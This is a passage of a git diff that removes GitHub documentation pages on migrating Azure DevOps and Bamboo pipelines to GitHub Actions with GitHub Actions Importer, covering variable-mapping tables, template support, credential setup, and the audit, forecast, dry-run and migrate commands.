-| {% raw %}`$(Agent.HomeDirectory)`{% endraw %} | {% raw %}`${{ env.HOME }}`{% endraw %} |
-| {% raw %}`$(Agent.JobName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(Agent.OS)`{% endraw %} | {% raw %}`${{ runner.os }}`{% endraw %} |
-| {% raw %}`$(Agent.ReleaseDirectory)`{% endraw %} | {% raw %}`${{ github.workspace}}`{% endraw %} |
-| {% raw %}`$(Agent.RootDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(Agent.ToolsDirectory)`{% endraw %} | {% raw %}`${{ runner.tool_cache }}`{% endraw %} |
-| {% raw %}`$(Agent.WorkFolder)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(Build.ArtifactStagingDirectory)`{% endraw %} | {% raw %}`${{ runner.temp }}`{% endraw %} |
-| {% raw %}`$(Build.BinariesDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(Build.BuildId)`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} |
-| {% raw %}`$(Build.BuildNumber)`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| {% raw %}`$(Build.DefinitionId)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| {% raw %}`$(Build.DefinitionName)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| {% raw %}`$(Build.PullRequest.TargetBranch)`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} |
-| {% raw %}`$(Build.PullRequest.TargetBranch.Name)`{% endraw %} | {% raw %}`${{ github.base_ref }}`{% endraw %} |
-| {% raw %}`$(Build.QueuedBy)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} |
-| {% raw %}`$(Build.Reason)`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} |
-| {% raw %}`$(Build.Repository.LocalPath)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(Build.Repository.Name)`{% endraw %} | {% raw %}`${{ github.repository }}`{% endraw %} |
-| {% raw %}`$(Build.Repository.Provider)`{% endraw %} | {% raw %}`GitHub`{% endraw %} |
-| {% raw %}`$(Build.Repository.Uri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} |
-| {% raw %}`$(Build.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} |
-| {% raw %}`$(Build.SourceBranch)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} |
-| {% raw %}`$(Build.SourceBranchName)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} |
-| {% raw %}`$(Build.SourceVersion)`{% endraw %} | {% raw %}`${{ github.sha }}`{% endraw %} |
-| {% raw %}`$(Build.SourcesDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(Build.StagingDirectory)`{% endraw %} | {% raw %}`${{ runner.temp }}`{% endraw %} |
-| {% raw %}`$(Pipeline.Workspace)`{% endraw %} | {% raw %}`${{ runner.workspace }}`{% endraw %} |
-| {% raw %}`$(Release.DefinitionEnvironmentId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(Release.DefinitionId)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| {% raw %}`$(Release.DefinitionName)`{% endraw %} | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| {% raw %}`$(Release.Deployment.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} |
-| {% raw %}`$(Release.DeploymentID)`{% endraw %} | {% raw %}`${{ github.run_id }}`{% endraw %} |
-| {% raw %}`$(Release.EnvironmentId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(Release.EnvironmentName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(Release.Reason)`{% endraw %} | {% raw %}`${{ github.event_name }}`{% endraw %} |
-| {% raw %}`$(Release.RequestedFor)`{% endraw %} | {% raw %}`${{ github.actor }}`{% endraw %} |
-| {% raw %}`$(System.ArtifactsDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(System.DefaultWorkingDirectory)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| {% raw %}`$(System.HostType)`{% endraw %} | {% raw %}`build`{% endraw %} |
-| {% raw %}`$(System.JobId)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(System.JobName)`{% endraw %} | {% raw %}`${{ github.job }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.PullRequestId)`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.PullRequestNumber)`{% endraw %} | {% raw %}`${{ github.event.number }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.SourceBranch)`{% endraw %} | {% raw %}`${{ github.ref }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.SourceRepositoryUri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.TargetBranch)`{% endraw %} | {% raw %}`${{ github.event.base.ref }}`{% endraw %} |
-| {% raw %}`$(System.PullRequest.TargetBranchName)`{% endraw %} | {% raw %}`${{ github.event.base.ref }}`{% endraw %} |
-| {% raw %}`$(System.StageAttempt)`{% endraw %} | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| {% raw %}`$(System.TeamFoundationCollectionUri)`{% endraw %} | {% raw %}`${{ github.server.url }}/${{ github.repository }}`{% endraw %} |
-| {% raw %}`$(System.WorkFolder)`{% endraw %} | {% raw %}`${{ github.workspace }}`{% endraw %} |
-
-### Templates
-
-You can transform Azure DevOps templates with {% data variables.product.prodname_actions_importer %}.
-
-#### Limitations
-
-{% data variables.product.prodname_actions_importer %} is able to transform Azure DevOps templates with some limitations.
-
-* Azure DevOps templates used under the `stages`, `deployments`, and `jobs` keys are converted into reusable workflows in {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows).
-* Azure DevOps templates used under the `steps` key are converted into composite actions. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-composite-action).
-* If you currently have job templates that reference other job templates, {% data variables.product.prodname_actions_importer %} converts the templates into reusable workflows. Because reusable workflows cannot reference other reusable workflows, this is invalid syntax in {% data variables.product.prodname_actions %}. You must manually correct nested reusable workflows.
-* If a template references an external Azure DevOps organization or {% data variables.product.prodname_dotcom %} repository, you must use the `--credentials-file` option to provide credentials to access this template. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions/automated-migrations/supplemental-arguments-and-settings#using-a-credentials-file-for-authentication).
-* You can dynamically generate YAML using `each` expressions with the following caveats:
- * Nested `each` blocks are not supported and cause the parent `each` block to be unsupported.
- * `each` and contained `if` conditions are evaluated at transformation time, because {% data variables.product.prodname_actions %} does not support this style of insertion.
- * `elseif` blocks are unsupported. If this functionality is required, you must manually correct them.
- * Nested `if` blocks are supported, but `if/elseif/else` blocks nested under an `if` condition are not.
- * `if` blocks that use predefined Azure DevOps variables are not supported.
-
-#### Supported templates
-
-{% data variables.product.prodname_actions_importer %} supports the templates listed in the table below.
-
-| Azure Pipelines | {% data variables.product.prodname_actions %} | Status |
-| :---------------------------- | :------------------------------------ | ------------------: |
-| Extending from a template | `Reusable workflow` | Supported |
-| Job templates | `Reusable workflow` | Supported |
-| Stage templates | `Reusable workflow` | Supported |
-| Step templates | `Composite action` | Supported |
-| Task groups in classic editor | Varies | Supported |
-| Templates in a different Azure DevOps organization, project, or repository | Varies | Supported |
-| Templates in a {% data variables.product.prodname_dotcom %} repository | Varies | Supported |
-| Variable templates | `env` | Supported |
-| Conditional insertion | `if` conditions on job/steps | Partially supported |
-| Iterative insertion | Not applicable | Partially supported |
-| Templates with parameters | Varies | Partially supported |
-
-#### Template file path names
-
-{% data variables.product.prodname_actions_importer %} can extract templates with relative or dynamic file paths with variable, parameter, and iterative expressions in the file name. However, there must be a default value set.
-
-##### Variable file path name example
-
-```yaml
-# File: azure-pipelines.yml
-variables:
-- template: 'templates/vars.yml'
-
-steps:
-- template: "./templates/${{ variables.one }}"
-```
-
-```yaml
-# File: templates/vars.yml
-variables:
- one: 'simple_step.yml'
-```
-
-##### Parameter file path name example
-
-```yaml
-parameters:
-- name: template
- type: string
- default: simple_step.yml
-
-steps:
-- template: "./templates/{% raw %}${{ parameters.template }}{% endraw %}"
-```
-
-##### Iterative file path name example
-
-```yaml
-parameters:
-- name: steps
- type: object
- default:
- - build_step
- - release_step
-steps:
-- {% raw %}${{ each step in parameters.steps }}{% endraw %}:
- - template: "${{ step }}-variables.yml"
-```
-
-#### Template parameters
-
-{% data variables.product.prodname_actions_importer %} supports the parameters listed in the table below.
-
-| Azure Pipelines | {% data variables.product.prodname_actions %} | Status |
-| :-------------------- | :----------------------------------------- | :------------------- |
-| string | `inputs.string` | Supported |
-| number | `inputs.number` | Supported |
-| boolean | `inputs.boolean` | Supported |
-| object | `inputs.string` with `fromJSON` expression | Partially supported |
-| step | `step` | Partially supported |
-| stepList | `step` | Partially supported |
-| job | `job` | Partially supported |
-| jobList | `job` | Partially supported |
-| deployment | `job` | Partially supported |
-| deploymentList | `job` | Partially supported |
-| stage | `job` | Partially supported |
-| stageList | `job` | Partially supported |
-
-> [!NOTE]
-> A template used under the `step` key with this parameter type is only serialized as a composite action if the steps are used at the beginning or end of the template steps. A template used under the `stage`, `deployment`, and `job` keys with this parameter type are not transformed into a reusable workflow, and instead are serialized as a standalone workflow.
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md
deleted file mode 100644
index 8fcfd87957f8..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bamboo-with-github-actions-importer.md
+++ /dev/null
@@ -1,383 +0,0 @@
----
-title: Migrating from Bamboo with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Bamboo pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Bamboo migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-bamboo-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from Bamboo with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Bamboo pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* A Bamboo account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Bamboo version of 7.1.1 or greater.
-* Access to create a Bamboo {% data variables.product.pat_generic %} for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from Bamboo to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}:
-
-* {% data variables.product.prodname_actions_importer %} relies on the YAML specification generated by the Bamboo Server to perform migrations. When Bamboo does not support exporting something to YAML, the missing information is not migrated.
-* Trigger conditions are unsupported. When {% data variables.product.prodname_actions_importer %} encounters a trigger with a condition, the condition is surfaced as a comment and the trigger is transformed without it.
-* Bamboo Plans with customized settings for storing artifacts are not transformed. Instead, artifacts are stored and retrieved using the [`upload-artifact`](https://github.com/actions/upload-artifact) and [`download-artifact`](https://github.com/actions/download-artifact) actions.
-* Disabled plans must be disabled manually in the GitHub UI. For more information, see [AUTOTITLE](/actions/using-workflows/disabling-and-enabling-a-workflow).
-* Disabled jobs are transformed with a `if: false` condition which prevents it from running. You must remove this to re-enable the job.
-* Disabled tasks are not transformed because they are not included in the exported plan when using the Bamboo API.
-* Bamboo provides options to clean up build workspaces after a build is complete. These are not transformed because it is assumed GitHub-hosted runners or ephemeral self-hosted runners will automatically handle this.
-* The hanging build detection options are not transformed because there is no equivalent in {% data variables.product.prodname_actions %}. The closest option is `timeout-minutes` on a job, which can be used to set the maximum number of minutes to let a job run. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes).
-* Pattern match labeling is not transformed because there is no equivalent in {% data variables.product.prodname_actions %}.
-* All artifacts are transformed into an `actions/upload-artifact`, regardless of whether they are `shared` or not, so they can be downloaded from any job in the workflow.
-* Permissions are not transformed because there is no suitable equivalent in {% data variables.product.prodname_actions %}.
-* If the Bamboo version is between 7.1.1 and 8.1.1, project and plan variables will not be migrated.
-
-#### Manual tasks
-
-Certain Bamboo constructs must be migrated manually. These include:
-
-* Masked variables
-* Artifact expiry settings
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Bamboo and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a Bamboo {% data variables.product.pat_generic %}. For more information, see [{% data variables.product.pat_generic_title_case_plural %}](https://confluence.atlassian.com/bamboo/personal-access-tokens-976779873.html) in the Bamboo documentation.
-
- Your token must have the following permissions, depending on which resources will be transformed.
-
- Resource Type | View | View Configuration | Edit
- |:--- | :---: | :---: | :---:
- | Build Plan | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %}
- | Deployment Project | {% octicon "check" aria-label="Required" %} | {% octicon "check" aria-label="Required" %} | {% octicon "x" aria-label="Not required" %}
- | Deployment Environment | {% octicon "check" aria-label="Required" %} |{% octicon "x" aria-label="Not required" %}| {% octicon "x" aria-label="Not required" %}
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `Bamboo`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for Bamboo", enter the value for the Bamboo {% data variables.product.pat_generic %} that you created earlier, and press Enter.
- * For "Base url of the Bamboo instance", enter the URL for your Bamboo Server or Bamboo Data Center instance, and press Enter.
-
- An example of the `configure` command is shown below:
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: Bamboo
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for Bamboo: ********************
- ✔ Base url of the Bamboo instance: https://bamboo.example.com
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of Bamboo
-
-You can use the `audit` command to get a high-level view of all projects in a Bamboo organization.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in a Bamboo organization.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit of a Bamboo instance, run the following command in your terminal:
-
-```shell
-gh actions-importer audit bamboo --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecasting usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Bamboo instance.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast bamboo --output-dir tmp/forecast_reports
-```
-
-### Forecasting a project
-
-To limit the forecast to the plans and deployments environments associated with a project, you can use the `--project` option, where the value is set to a build project key.
-
-For example:
-
-```shell
-gh actions-importer forecast bamboo --project PAN --output-dir tmp/forecast_reports
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
- * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to
-
-## Perform a dry-run migration of a Bamboo pipeline
-
-You can use the `dry-run` command to convert a Bamboo pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-### Running a dry-run migration for a build plan
-
-To perform a dry run of migrating your Bamboo build plan to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:my_plan_slug` with the plan's project and plan key in the format `-` (for example: `PAN-SCRIP`).
-
-```shell
-gh actions-importer dry-run bamboo build --plan-slug :my_plan_slug --output-dir tmp/dry-run
-```
-
-### Running a dry-run migration for a deployment project
-
-To perform a dry run of migrating your Bamboo deployment project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:my_deployment_project_id` with the ID of the deployment project you are converting.
-
-```shell
-gh actions-importer dry-run bamboo deployment --deployment-project-id :my_deployment_project_id --output-dir tmp/dry-run
-```
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-## Perform a production migration of a Bamboo pipeline
-
-You can use the `migrate` command to convert a Bamboo pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command for a build plan
-
-To migrate a Bamboo build plan to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `:my_plan_slug` with the plan's project and plan key in the format `-`.
-
-```shell
-gh actions-importer migrate bamboo build --plan-slug :my_plan_slug --target-url :target_url --output-dir tmp/migrate
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate bamboo build --plan-slug :PROJECTKEY-PLANKEY --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-### Running the migrate command for a deployment project
-
-To migrate a Bamboo deployment project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `:my_deployment_project_id` with the ID of the deployment project you are converting.
-
-```shell
-gh actions-importer migrate bamboo deployment --deployment-project-id :my_deployment_project_id --target-url :target_url --output-dir tmp/migrate
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate bamboo deployment --deployment-project-id 123 --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate
-[2023-04-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20230420-014033.log'
-[2023-04-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Bamboo.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Bamboo instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `BAMBOO_ACCESS_TOKEN`: The Bamboo {% data variables.product.pat_generic %} used to authenticate with your Bamboo instance.
-* `BAMBOO_INSTANCE_URL`: The URL to the Bamboo instance (for example, `https://bamboo.example.com`).
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `dry-run` or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bamboo instance. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```shell
-gh actions-importer dry-run bamboo build --plan-slug IN-COM -o tmp/bamboo --source-file-path ./path/to/my/bamboo/file.yml
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bamboo instance. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```bash
-gh actions-importer audit bamboo -o tmp/bamboo --config-file-path "./path/to/my/bamboo/config.yml"
-```
-
-To audit a Bamboo instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique:
-
-```yaml
-source_files:
- - repository_slug: IN/COM
- path: path/to/one/source/file.yml
- - repository_slug: IN/JOB
- path: path/to/another/source/file.yml
-```
-
-##### Dry run example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run.
-
-The repository slug is built using the `--plan-slug` option. The source file path is matched and pulled from the specified source file.
-
-```bash
-gh actions-importer dry-run bamboo build --plan-slug IN-COM -o tmp/bamboo --config-file-path "./path/to/my/bamboo/config.yml"
-```
-
-### Supported syntax for Bamboo pipelines
-
-The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert.
-
-| Bamboo | GitHub Actions | Status |
-| :---------------------------------- | :-----------------------------------------------| ---------------------: |
-| `environments` | `jobs` | Supported |
-| `environments.` | `jobs.` | Supported |
-| `.artifacts` | `jobs..steps.actions/upload-artifact` | Supported |
-| `.artifact-subscriptions` | `jobs..steps.actions/download-artifact` | Supported |
-| `.docker` | `jobs..container` | Supported |
-| `.final-tasks` | `jobs..steps.if` | Supported |
-| `.requirements` | `jobs..runs-on` | Supported |
-| `.tasks` | `jobs..steps` | Supported |
-| `.variables` | `jobs..env` | Supported |
-| `stages` | `jobs..needs` | Supported |
-| `stages..final` | `jobs..if` | Supported |
-| `stages..jobs` | `jobs` | Supported |
-| `stages..jobs.` | `jobs.` | Supported |
-| `stages..manual` | `jobs..environment` | Supported |
-| `triggers` | `on` | Supported |
-| `dependencies` | `jobs..steps.` | Partially Supported |
-| `branches` | Not applicable | Unsupported |
-| `deployment.deployment-permissions` | Not applicable | Unsupported |
-| `environment-permissions` | Not applicable | Unsupported |
-| `notifications` | Not applicable | Unsupported |
-| `plan-permissions` | Not applicable | Unsupported |
-| `release-naming` | Not applicable | Unsupported |
-| `repositories` | Not applicable | Unsupported |
-
-For more information about supported Bamboo concept and plugin mappings, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/bamboo/index.md).
-
-### Environment variable mapping
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Bamboo environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| Bamboo | GitHub Actions |
-| :----------------------------------------------- | :-------------------------------------------------- |
-| `bamboo.agentId` | {% raw %}`${{ github.runner_name }}`{% endraw %}
-| `bamboo.agentWorkingDirectory` | {% raw %}`${{ github.workspace }}`{% endraw %}
-| `bamboo.buildKey` | {% raw %}`${{ github.workflow }}-${{ github.job }}`{% endraw %}
-| `bamboo.buildNumber` | {% raw %}`${{ github.run_id }}`{% endraw %}
-| `bamboo.buildPlanName` | {% raw %}`${{ github.repository }}-${{ github.workflow }}-${{ github.job }`{% endraw %}
-| `bamboo.buildResultKey` | {% raw %}`${{ github.workflow }}-${{ github.job }}-${{ github.run_id }}`{% endraw %}
-| `bamboo.buildResultsUrl` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %}
-| `bamboo.build.working.directory` | {% raw %}`${{ github.workspace }}`{% endraw %}
-| `bamboo.deploy.project` | {% raw %}`${{ github.repository }}`{% endraw %}
-| `bamboo.ManualBuildTriggerReason.userName` | {% raw %}`${{ github.actor }}`{% endraw %}
-| `bamboo.planKey` | {% raw %}`${{ github.workflow }}`{% endraw %}
-| `bamboo.planName` | {% raw %}`${{ github.repository }}-${{ github.workflow }}`{% endraw %}
-| `bamboo.planRepository.branchDisplayName` | {% raw %}`${{ github.ref }}`{% endraw %}
-| `bamboo.planRepository..branch` | {% raw %}`${{ github.ref }}`{% endraw %}
-| `bamboo.planRepository..branchName` | {% raw %}`${{ github.ref }}`{% endraw %}
-| `bamboo.planRepository..name` | {% raw %}`${{ github.repository }}`{% endraw %}
-| `bamboo.planRepository..repositoryUrl` | {% raw %}`${{ github.server }}/${{ github.repository }}`{% endraw %}
-| `bamboo.planRepository..revision` | {% raw %}`${{ github.sha }}`{% endraw %}
-| `bamboo.planRepository..username` | {% raw %}`${{ github.actor}}`{% endraw %}
-| `bamboo.repository.branch.name` | {% raw %}`${{ github.ref }}`{% endraw %}
-| `bamboo.repository.git.branch` | {% raw %}`${{ github.ref }}`{% endraw %}
-| `bamboo.repository.git.repositoryUrl` | {% raw %}`${{ github.server }}/${{ github.repository }}`{% endraw %}
-| `bamboo.repository.pr.key` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %}
-| `bamboo.repository.pr.sourceBranch` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %}
-| `bamboo.repository.pr.targetBranch` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %}
-| `bamboo.resultsUrl` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %}
-| `bamboo.shortJobKey` | {% raw %}`${{ github.job }}`{% endraw %}
-| `bamboo.shortJobName` | {% raw %}`${{ github.job }}`{% endraw %}
-| `bamboo.shortPlanKey` | {% raw %}`${{ github.workflow }}`{% endraw %}
-| `bamboo.shortPlanName` | {% raw %}`${{ github.workflow }}`{% endraw %}
-
-> [!NOTE]
-> Unknown variables are transformed to {% raw %}`${{ env. }}`{% endraw %} and must be replaced or added under `env` for proper operation. For example, `${bamboo.jira.baseUrl}` will become {% raw %}`${{ env.jira_baseUrl }}`{% endraw %}.
-
-### System Variables
-
-System variables used in tasks are transformed to the equivalent bash shell variable and are assumed to be available. For example, `${system.}` will be transformed to `$variable_name`. We recommend you verify this to ensure proper operation of the workflow.
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md
deleted file mode 100644
index e7e97ea16d52..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer.md
+++ /dev/null
@@ -1,350 +0,0 @@
----
-title: Migrating from Bitbucket Pipelines with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Bitbucket pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Bitbucket Pipelines migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-bitbucket-pipelines-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from Bitbucket Pipelines with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Bitbucket Pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
